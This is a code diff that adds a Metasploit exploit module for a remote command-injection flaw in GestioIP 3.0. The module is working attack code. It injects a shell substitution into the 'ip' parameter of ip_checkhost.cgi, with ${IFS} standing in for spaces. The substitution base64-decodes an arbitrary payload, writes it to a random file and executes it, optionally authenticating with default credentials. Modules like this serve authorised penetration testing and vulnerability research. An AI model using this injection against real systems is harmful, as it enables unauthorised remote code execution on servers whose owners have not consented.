add gestio ip module

modules/exploits/multi/http/gestioip_exec.rb

@@ -0,0 +1,81 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'GestioIP Remote Command Execution',
+      'Description'    => %q{
+        This module exploits a command injection flaw to create a shell script
+        on the FS and execute it.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'bperry'  #Initial Discovery and metasploit module
+        ],
+      'References'     =>
+        [
+        ],
+      'Payload'        =>
+        {
+          'Space'       => 475, # not a lot of room
+          'DisableNops' => true,
+          'BadChars'    => "#",
+        },
+      'Platform'        => [ 'unix', 'win', 'linux' ],
+      'Arch'            => ARCH_CMD,
+      'Targets'         => [[ 'Automatic GestioIP 3.0', { }]],
+      'Privileged'      => false,
+      'DisclosureDate'  => 'Mar 3 2011',
+      'DefaultTarget'   => 0))
+
+    register_options(
+    [
+      OptString.new('URI', [true, 'URI', '/gestioip/']),
+      OptString.new('USERNAME', [false, 'The username to auth as', 'gipadmin']),
+      OptString.new('PASSWORD', [false, 'The password to auth with', 'password']),
+      OptBool.new('USE_AUTH', [true, 'Whether to attempt basic authentication or not', false])
+    ], self.class)
+  end
+
+  def uri
+    datastore['URI']
+  end
+
+  def user
+    datastore['USERNAME']
+  end
+
+  def pass
+    datastore['PASSWORD']
+  end
+
+  def use_auth
+    datastore['USE_AUTH']
+  end
+
+  def exploit
+    headers = {}
+    if use_auth
+      headers['Authorization'] = "Basic " + Rex::Text.encode_base64("#{user}:#{pass}")
+    end
+
+    pay = Rex::Text.encode_base64(payload.encoded)
+    file = Rex::Text.rand_text_alpha(8);
+    send_request_cgi({
+      'uri' => uri+"ip_checkhost.cgi?ip=2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}"+file+"&&sh${IFS}"+file+"):0000:0000:0000:0000:0004&hostname=fsd&client_id=1&ip_version=",
+      'headers' => headers
+    })
+  end
+end